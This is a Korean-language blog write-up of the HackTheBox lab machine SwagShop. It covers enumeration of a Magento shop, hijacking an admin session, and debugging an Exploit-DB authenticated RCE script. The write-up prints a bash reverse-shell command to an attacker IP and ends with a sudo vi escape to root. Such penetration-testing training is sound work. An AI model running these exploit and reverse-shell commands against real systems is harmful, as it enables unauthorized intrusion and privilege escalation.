SwagShop
- 가혹하지만 꼭 풀어보아야하는 문제.
- sudo에 대해 잘 이해하고 있는가?
- Exploit 디버깅해서 스크립트 수정할 수 있는가?
- 스크립트 파일에 대한 설명, 주석에 대해 이해하였는가?
- Exploit-DB에 등록된 스크립트는 완벽하지 않다.
오래전에 올라온 스크립트라 라이브러리의 EOL같은 문제로 실행이 안될 수 도 있고...
실행중인 서비스가 제작자에 의해 커스터마이징되어 특히 경로 부분이 수정될 수 있다.
따라서, 이런 부분을 수정해줘야 한다. 디버깅하는 훈련이 필요하다.
WriteUp
https://initinfosec.com/writeups/htb/2020/02/01/swagshop-htb-writeup/
이니셜 쉘
nmap 결과 80포트가 오픈 됨
magento 프레임워크를 사용하고 있었다.
nikto와 gobuster로 퍼징 결과 유의미한 디렉토리 발견 및 디렉토리 리스팅이 발견되었다.
searchsploit으로 RCE를 발견했다.
하지만 정확한 버전을 몰라서 웹을 더 탐색함.
관리자 페이지는 구글링을 통해 찾을 수 있었다.
디폴트 값으로 /admin이 붙어야한다. 그런데 이 머신의 경우 index.php 뒤에 admin을 붙여줘야했다.
다른 사람들의 경우 exploit 스크립트를 통해 새로운 계정을 생성했던데,
나같은 경우는 디렉토리 리스팅이 존재하여 nikto+gobuster에 의해 발견된 세션폴더를 발견하였고 파기되지 않는 세션들이 존재하였다. 그래서 관리자 세션 파일을 다운받아서, 어드민 URL을 획득하고 세션을 통해 관리자페이지로 로그인하였다.
관리자 페이지로 로그인하니 하단에 정확한 버전 정보를 얻을 수 있었다. 1.9.0
이것으로 적용가능한 exploit을 선택할 수 있었다.
(authenticed)RCE Exploit을 실행해봤지만 계쏙 실패하여 WriteUp을 보게 되었다.
현재 서버는 호스트 주소 뒤에 /index.php/를 붙여줘야 해서 스크립트에도 수정이 필요했다.
* 이런거 감으로 체크할 수 없다면 와이어샤크로 패킷을 잡아서 디버그해야 될거 같다...
* Authenticed는 credential이 필요하다는 의미이다. 따라서 관리자페이지에서 새로 계정을 생성하여 스크립트에 넣어주었다.
스크립트 디버그
1차 오류: 찾을 수 없다?
mechanize._form_controls.ControlNotFoundError: no control matching name 'login[password]'
1. 우선 스크립트 파일에 host주소를 정확히 넘겼는지 체크했다.
IP주소 뒤에 index.php/admin/ 을 붙여야했다.
2. 주변 주석을 읽어보면 날짜 변수에 대한 수정이 필요했다.
install_date = 'Sat, 15 Nov 2014 20:27:57 +0000' # This needs to be the exact date from /app/etc/local.xml
2차 오류: 한개 이상의 name 발견되었다?
mechanize._form_controls.AmbiguityError: more than one control matching name 'login[username]'
스크립트를 보면 두개의 username 폼이 존재한다. 위에 컨트롤을 주석처리했다.
#br.form.new_control('text', 'login[username]', {'value': username}) # Had to manually add username control.
br['login[username]'] = username
3차 오류: 받아온 값에 대해 group으로 파싱하는 부분이 있는데, 파싱할게 없다는 메세지가 발생함.
뭔가 데이터를 못받아 오는거 같아서 이부분에 대한 확인이 필요했다.
AttributeError: 'NoneType' object has no attribute 'group'
br.set_proxies 변수를 세팅하여 버프로 전송되는 URL 부분 패킷을 체크하였다.
request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
해당 URL을 열때 데이터를 받아오지 못했던 것이다.
7d부분은 날짜를 선택하는 기능인데 이것을 다른 걸로 2y로 대체했더니 데이터를 받아 올수 있었다.
스크립트 실행이 성공되었다.
# python authed_magento_rce.py http://10.10.10.140/index.php/admin/ "whoami"
나같은 경우는 wget으로 phpshell을 다운로드 받도록 하여 연결하였지만 아래와 같이 bash 원라인 스크립트도 실행이 된다고 한다.
# python authed_magento_rce.py http://10.10.10.140/index.php/admin/ "bash -c 'bash -i >& /dev/tcp/10.10.14.50/43110 0>&1'"
* 사실 롸잇업을 보면서 푼거라서 딱딱 아다리 맞춰서 풀린것 처럼 보이지만
롸잇업이 없었으면 한참 시간이 걸렸을 문제다.
권한상승
이니셜쉘 획득 후 sudo를 체크
User www-data may run the following commands on swagshop:
(root) NOPASSWD: /usr/bin/vi /var/www/html/*
vi를 실행 후 :!/bin/sh로 root 쉘 권한상승을 시도했으나 계속 실패함..
괄호가 있는건 root로 실행되는건지 혼자 다른 부분 삽질하다가 원인을 몰라 롸잇업을 보게됨 ㅠ
저 명령의 뜻는 vi로 /var/www/html 하위의 파일들만 sudo로 실행할 수 있다는 얘기였음.
나쁜 예(이렇게 쓰면 비밀번호를 입력하라는 메세지가 발생함 )
>sudo /usr/bin/vi
올바른 예
>sudo /usr/bin/vi /var/ww/html/존재하는 파일
하위 디렉토리의 파일을 vi로 실행 후 :!/bin/sh로 연결하여 root로 권한상승.
'OSCP > HackTheBox' 카테고리의 다른 글
[Windows] Chatterbox (0) | 2020.09.24 |
---|---|
[Windows] Jerry (0) | 2020.09.24 |
[Linux] Irked (0) | 2020.09.16 |
[Linux] October (0) | 2020.09.16 |
[Linux] Nineveh (0) | 2020.09.14 |